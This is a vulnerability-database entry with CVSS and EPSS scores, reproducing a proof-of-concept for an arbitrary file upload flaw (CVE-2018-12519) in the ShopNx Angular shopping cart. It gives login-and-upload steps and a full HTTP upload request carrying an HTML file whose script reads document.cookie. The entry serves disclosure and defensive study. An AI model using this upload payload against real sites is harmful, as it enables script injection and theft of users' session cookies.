L0RDEDB-ID:44978ShopNx - Arbitrary File Upload
4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
0.061 Low
EPSS
Percentile
93.6%
# Exploit Title: ShopNx - Angular5 Single Page Shopping Cart Application 1 - Arbitrary File Upload
# Date: 2018-07-03
# Exploit Author: L0RD
# Email: [email protected]
# Vendor Homepage: http://codenx.com/
# Version: 1
# CVE: CVE-2018-12519
# Tested on: Win 10
===================================================
# Description :
ShopNx 1 is an Angular 5 single page application which suffers from
arbitrary file upload vulnerability .
Attacker can upload malicious files on server because
the application fails to sufficiently sanitize user-supplied input.
# POC :
1) Login as a regular user and navigate to "edit profile"
2) Click on "Avatar" and upload your HTML file which contains malicious javascript code.
3) You can find your uploaded file here :
Path : http://shop.codenx.com/uploads/[Your File]
# Request :
=========================
POST /api/media HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site.com/account/edit-profile
Content-Length: 367
Content-Type: multipart/form-data;
boundary=---------------------------31031276124582
Connection: keep-alive
-----------------------------31031276124582
Content-Disposition: form-data; name="file"; filename="file.html"
Content-Type: text/html
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
console.log(document.cookie);
</script>
</body>
</html>
-----------------------------31031276124582--
====================================================Related
4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
0.061 Low
EPSS
Percentile
93.6%